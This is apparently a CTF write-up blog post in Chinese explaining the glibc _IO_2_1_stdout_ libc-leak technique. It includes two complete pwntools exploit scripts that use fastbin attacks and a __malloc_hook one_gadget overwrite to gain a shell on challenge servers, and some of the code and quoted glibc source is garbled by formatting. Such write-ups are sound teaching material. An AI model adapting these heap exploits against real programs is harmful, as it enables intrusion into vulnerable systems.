MENU

_IO_2_1_stdout_ leak

December 2, 2020 • Read: 739 • Pwn

学习背景:

在看雪 CTF 平台中,天涯海角一题的 Writeup 看到了这个,看完之后甚至有些不想学House of Roman了。
wpcut.png
毕竟对于我这种脸黑的人,连 4 bits 爆破都要试个不下 30 遍。更不要谈 12 bits 了,那简直就是噩梦。
但是我不确定我能否把这部分讲清楚,但是本着让自己加深理解的初衷,还是写了这篇文章。
不过这个利用方法如果不懂原理也是可以成功利用的,所以先讲怎么利用,再讲为什么这样利用。
本篇文章的内容极有可能出现错误,请各位师傅雅正。
话不多说,我们进入正题吧。

题目类型:

1.无 show 函数,也就是 leak 不了堆内容(如果有 show 函数,那么就可以利用 unsorted bin leak)
2.FULL RELRO,也就是 got 表无法修改(如果可以修改,那么就可以修改 free 为 puts 来 leak)
3.能够间接(修改 size 再 free)或者直接(直接 malloc)的 free chunk 到 unsorted bin,从而在 chunk 上存在 main_arena + 88 的地址。
4.能够让 3 中在 unsorted bin 中的 chunk 同时也存在于 fastbin 中(修改 size 为 0x71,再 free),实现 fastbin attck
5.能够 UAF,部分写入数据到 unsored bin->FD 覆盖(main_arena + 88)的后两个字节(低地址),使其指向到 stdout 附近从而可以修改_flags 等数据。
这一步中有一些细节需要处理:
a.部分覆盖的具体值由调试可知,因为要检测 fastbin size 是否在对应范围内,所以要在 stdout 之前找到一块可以伪造的地址。这个技巧类似于__malloc_hook的修改方法。
b.由于在 libc 中只有后 12 个位是固定的,所以我们需要爆破后两个字节中的前 4 个位,也就是我们有(1/16)的几率利用成功。

利用方法:

1.设 fp = _IO_2_1_stdout_
2.绕过一些会报错的检测
a.修改 fp->flag = 0xfbad1800(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)
b.输出过内容(_IO_CURRENTLY_PUTTING = 1)
3.修改 fp->_IO_write_base = leak addr,一般写入单字节(0x58),这样输出的地址中会有很多 libc 的地址。
如果是用 b 的绕过方法,那么还需要让_IO_read_end == _IO_write_base

利用原理:

内存中有 stdiout,stdin,stderr 这三个指针,这三个指针一般在 bss 段上用于输出读入数据,所指向的内容在 libc 中,而且结构可以被修改,当我们有任意写的权限时候,我们就可以修改 stdout 的结构体来泄露 libc。
point.png
当调用 put、printf 等输出函数的时候,会利用 stdout 指针进行输出。
先看一下 stdout 所指向的结构是怎么样的:
stdout.png
我们需要的是修改的是_flags 和_IO_write_base,由于一般覆盖只有一次,所以我们也需要覆盖到中间的三个指针(_IO_read_ptr, _IO_read_end, _IO_read_base)。由于 stdout 是用于输出的,所以这三个指针实际上并没有用到,我们可以直接覆盖为 p64(0)[0x00000000]。

那么这些指针是干什么用的呢?
我们来看别的师傅是怎么解释的。

其中_IO_buf_base 和_IO_buf_end 是缓冲区建立函数。
_IO_doallocbuf 会在里面建立输入输出缓冲区,并把基地址保存在_IO_buf_base 中,结束地址保存在_IO_buf_end 中。
在建立里输入输出缓冲区后,如果缓冲区作为输出缓冲区使用,会将基址址给_IO_write_base,结束地址给_IO_write_end,同时_IO_write_ptr 表示为已经使用的地址。
即_IO_write_base 到_IO_write_ptr 之间的空间是已经使用的缓冲区,_IO_write_ptr 到_IO_write_end 之间为剩余的输出缓冲区。

所以之所以图中_IO_write_ptr - _IO_write_base = 1,_IO_write_end == _IO_write_ptr 也就是只有长度 1,原因就是改程序在初始化的时候使用了。
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
让内容立马输出出来,也就是 1 字节输出 1 次。
所以如果我们能够把_IO_write_base 改小,那么_IO_write_base 到 _IO_write_ptr 这一段的内容将在下一次输出的时候一起输出出来,就达到了泄露的目的。
而且_IO_write_base 在一次输出后就会调整为原来的值,也就是这一块的内容只输出一次。

那 flag 修改的这个值的意义是什么?
这里先给出下面一些会用到的常量的(glibc/libio/libio.h)
/* Magic number and bits for the _flags field. The magic number is
mostly vestigial, but preserved for compatibility. It occupies the
high 16 bits of _flags; the low 16 bits are actual flag bits. */

define _IO_MAGIC 0xFBAD0000 / Magic number /

define _IO_MAGIC_MASK 0xFFFF0000

define _IO_USER_BUF 0x0001 / Don't deallocate buffer on close. /

define _IO_UNBUFFERED 0x0002

define _IO_NO_READS 0x0004 / Reading not allowed. /

define _IO_NO_WRITES 0x0008 / Writing not allowed. /

define _IO_EOF_SEEN 0x0010

define _IO_ERR_SEEN 0x0020

define _IO_DELETE_DONT_CLOSE 0x0040 / Don't call close(_fileno) on close. /

define _IO_LINKED 0x0080 / In the list of all open files. /

define _IO_IN_BACKUP 0x0100

define _IO_LINE_BUF 0x0200

define _IO_TIED_PUT_GET 0x0400 / Put and get pointer move in unison. /

define _IO_CURRENTLY_PUTTING 0x0800

define _IO_IS_APPENDING 0x1000

define _IO_IS_FILEBUF 0x2000

/ 0x4000 No longer used, reserved for compat. /

define _IO_USER_LOCK 0x8000

输出具体的调用是(以 puts 为例):
_IO_puts -> _IO_sputn -> _IO_new_file_xsputn -> _IO_overflow -> _IO_new_file_overflow
而最重要的检测也在_IO_new_file_overflow 中,所以我们主要来观察他的源码,我们分段解释。
函数定义
int _IO_new_file_overflow (FILE *f, int ch)

检测_IO_NO_WRITES
if (f->_flags & _IO_NO_WRITES) / SET ERROR /
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
顾名思义,_IO_NO_WRITES 就是来判断是否可以写出数据的,为 1 表示禁止,为 0 表示允许。
与他类似的还有一个_IO_NO_READS,但是我们这里主要是 leak,所以用不到_IO_NO_READS。
这个,_IO_NO_WRITES 在 stdin 中是为 1 的, 在 stdout 中是为 0 的。
同理,_IO_NO_WRITES 在 stdout 中是为 0 的,在 stdoin 中是为 1 的。
所以,(fp->_flags & _IO_NO_WRITES) == 0需要被满足

检测_IO_CURRENTLY_PUTTING
if ((f->_flags & _IO_CURRENTLY_PUTTING) 0 || f->_IO_write_base NULL)
{
/ Allocate a buffer if needed. /
if (f->_IO_write_base NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr
f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
这么长一段在干什么,其实不用特别的关心,我们要知道这个_IO_CURRENTLY_PUTTING是用来判断是否初始化的,如果没有初始化那么为 0,如果初始化过了那么为 1。一般来说,程序都要输出内容,输出过内容的话,那么这个位就会为 1。
如果这个没做到的话,当你输出的时候,你篡改的_IO_write_base 也会被他还原,这样就没办法泄露了。
所以,(f->_flags & _IO_CURRENTLY_PUTTING) == 1需要被满足

检测 3:
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
这一部分检测是调用进入另一个函数 new_do_write (f, s, do_write)中了。
static size_t
new_do_write (FILE fp, const char data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is

  1. */
    fp->_offset = _IO_pos_BAD;

else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
最主要的就是
if (fp->_flags & _IO_IS_APPENDING) 和
else if (fp->_IO_read_end != fp->_IO_write_base)

这里就是上面所说的两种绕过方法的地方。
1.进入 if (fp->_flags & _IO_IS_APPENDING)执行 fp->_offset = _IO_pos_BAD;。
2.不执行 else if (fp->_IO_read_end != fp->_IO_write_base)
这两者都能达到目的,也就是说,我们要满足
1.fp->_flags & _IO_IS_APPENDING == 1
2.fp->_IO_read_end == fp->_IO_write_base
两者其一,一般是选择前者。

计算_flags 的值
所以 fp->_flags 需要满足以下条件:
1.(fp->_flags & _IO_NO_WRITES) == 0
2.(fp->_flags & _IO_CURRENTLY_PUTTING) == 1
3.(fp->_flags & _IO_IS_APPENDING) == 1
计算可得,fp->_flags = 0xfbad1800, 其中_IO_MAGIC = 0xfdab0000,这是个 Magic Number,是固定的。

应用实例:

weapon
保护全开,不能使用修改 free@got.plt -> puts@got.plt 这样的方法。
具体利用思路参照参考链接 3,这里只放出我的 exp。
from pwn import *
from LibcSearcher import *

def choice(idx):

r.sendlineafter("choice >> ", str(idx))

def create(size, idx, content = 'a'):

choice(1)
r.sendlineafter("wlecome input your size of weapon: ", str(size))
r.sendlineafter("input index: ", str(idx))
r.sendafter("input your name:", content)

def delete(idx):

choice(2)
r.sendlineafter("input idx :", str(idx))

def rename(idx, content):

choice(3)
r.sendlineafter("input idx: ", str(idx))
r.sendafter("new content:", content)

def pwn():

create(0x18, 0, p64(0) + p64(0x21)) #0x21
create(0x18, 1) #0x21
create(0x48, 2) #0x51 0x71
create(0x18, 3) #0x21 0x91
create(0x18, 4) #top chunk
delete(0)
delete(1)

# partial overwrite1 & fastbin attack1
rename(1, '\x10')
create(0x18, 1) #0x21
create(0x18, 5) #0x21

# free -> fastbin
rename(5, 'a' * 0x8 + p64(0x71))
delete(1)

# free -> unsorted bin
rename(5, 'a' * 0x8 + p64(0x91))
delete(1)

# partial overwrite2 -> change fd
rename(1, p16(0x8620 - 0x43))

rename(5, 'a' * 0x8 + p64(0x71))

create(0x60, 6)
# change _flags = 0xfbad1800 and partial overwrite3(_IO_write_base 0x58)
create(0x60, 7, 'a' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58))

#leak
context.log_level = "debug"
stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
print "stdout_addr: " + hex(stdout_addr)

libc = LibcSearcher('_IO_2_1_stdout_', stdout_addr)
libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
print "libc_base: " + hex(libc_base)

malloc_hook_addr = libc_base + libc.dump('__malloc_hook')
print "malloc_hook_addr: " + hex(malloc_hook_addr)

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print "one_gadget: " + hex(one_gadget)

#fastbin attack2; __malloc_hook
create(0x60, 8)
delete(8)
rename(8, p64(malloc_hook_addr - 0x23))
create(0x60, 8)
create(0x60, 9, 'a' * 0x13 + p64(one_gadget))

# double free -> getshell
delete(8)
delete(8)
r.interactive()

while True:

try:
    #r = process('./de1ctf_2019_weapon')
    r = remote('node3.buuoj.cn', 26445)
    pwn()
except:
    pass

UNCTF2020 baby_heap
这道题 got 表可以写,而且也有 shell 函数,所以其实也可以不利用这个方法来 leak(可以修改 free@got.plt 为 puts@plt)。甚至可以不 leak,直接修改 free@got.plt 为 shell 函数。
但是据出题者所说,有 shell 函数的原因是因为刚开始打靶机没打通,所以加了 shell 函数降低难度。
所以我们这里尝试用出题者的本来的意思来试试看这道题目(官方 wp 的写法)。

修正:这里本来说错了,经过研究发现,并不是释放的 bin 的 size 为 0xf1 的时候会进入 unsorted bin,而是释放的 bin 的 size 为 0xf1 的时候对应 fastbinsY 的内容不是 0,即 fastbinsY[13] > 0,它已经越界到 unsorted bin 那部分的内容里面了,所以内容正好是之前构造的 free_list 的地址,这正好是我们需要的 libc 空间的地址,最终在释放的时候把对应的内容作为 fd 拿了过来,再利用 partial overwrite 写入

因为 _IO_2_1_stdout_ leak要求你先释放一次为 fastbin,然后再释放一次为 unsorted bin,否则无法在 fastbin 堆块上构造出 main_arena + 88,不过需要注意的是,这道题目由于先修改 global_max_fast 的时候有一个 bin 在 unsorted bin 中,所以第二次释放时的堆块地址,并不是 main_arena + 88,而是之前释放堆块的 BK,也就是之前伪造的 free_list(global_max_fast - 0x10)的位置,不过稍微思考一下也就知道了,具体原因见上。

最后,我之前认为进行 unsorted bin attack 之后的 unsorted bin 那块地方由于corrupted,所以不能 free 和 malloc 其他块。
结果发现,free 一切正常;
但是 malloc 的时候会报错,不过如果你先 free 一个块(corrupted 后),再 malloc 一次,那就可以了。

还有就是这道题我错怪官方题解了,我刚开始以为官方题解写的又臭又长,现在终于发现了,原来是真的要那么长,而且一点也不臭十分优美,是我太菜没错了。

-- coding: utf-8 --

from pwn import *
from LibcSearcher import *

r = process('./pwn')

r = remote('node2.hackingfor.fun', 32625)
elf = ELF('./pwn')
context.log_level = "debug"

def en(c):

c = int(c, 16)
return(c * c * c) % 33

def add_note(size):

r.sendlineafter(">> ", "1")
r.sendlineafter("size?", str(size))
r.sendlineafter("content?", "a")

def delete_note(idx):

r.sendlineafter(">> ", "2")
r.sendlineafter("index ?", str(idx))

def change_note(idx, content):

r.sendlineafter(">> ", "4")
r.sendlineafter("index ?", str(idx))
r.sendafter("what is your new content ?", content)

r.recvuntil("welcome to game+++++++n")
data = r.recvuntil("n", drop=True).split(' ')
aslr = (en(data[3]) - 1) * 0x1000
free_list_addr = en(data[3]) 0x1000 + en(data[2]) 0x100 + en(data[1]) * 0x10 + en(data[0])
print 'aslr: ' + hex(aslr)

add_note(0x18) #0

add_note(0x18) #21 1
add_note(0x18) #21 2
add_note(0x18) #21 3
add_note(0x68) #71 4

add_note(0x78) #5

change_note(0, 'a' * 0x18 + 'xD1')
delete_note(1)

add_note(0x18) #1 1
add_note(0x18) #6
2
add_note(0x18) #7 3
add_note(0x68) #8
4

change_note(6, 'a' * 0x18 + 'x91')
delete_note(7)
add_note(0x88) #7 -> 0x91

delete_note(2) #to unsorted bin
change_note(6, p64(0) + p16(free_list_addr)) #change bk
add_note(0x18) #2 unsorted bin attack

fastbin attack -> stdout - 0x43

delete_note(4) #to fastbin
change_note(7, 'a' * 0x18 + p64(0xf1)) #size:0xf1
delete_note(8) #to unsorted bin & double free(4 & 8)
change_note(7, 'a' * 0x18 + p64(0x71) + p16(0x620 - 0x43 + aslr)) #change size to 0x71 & change fd to stdout - 0x43

add_note(0x68) #4
add_note(0x68) #8 stdout - 0x43
change_note(8, 'x00' 0x33 + p64(0xfbad1800) + p64(0) 3 + p8(0x58)) #change _flags & IO_write_base

leak

stdout_addr = u64(r.recvuntil('x7f')[-6:].ljust(8, 'x00')) - 131
libc = LibcSearcher('_IO_2_1_stdout_', stdout_addr)
libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
malloc_hook_addr = libc_base + libc.dump('__malloc_hook')
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget = libc_base + one[2]

fastbin attack -> __malloc_hook - 0x23

delete_note(4)
change_note(7, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23))
add_note(0x68) #4
add_note(0x68) #9
change_note(9, 'a' * 0x13 + p64(one_gadget))

free error -> malloc -> __malloc_hook -> one_gadget -> shell

delete_note(9)

r.interactive()
ByteCTF 2019 note_five
http://blog.wjhwjhn.com/archives/117/
非常难的一道题,所以我专门开了一个帖子来讲。
如果这道题成功 leak 了,那么对_IO_FILE leak 基本上是没问题了。
利用方法的话不属于本文章内容。

参考链接:

1.http://www.pwn4fun.com/pwn/io-2-1-stdout-leak-libc.html
2.http://blog.eonew.cn/archives/1190
3.https://n0va-scy.github.io/2019/09/21/IO_FILE/

Last Modified: September 18, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code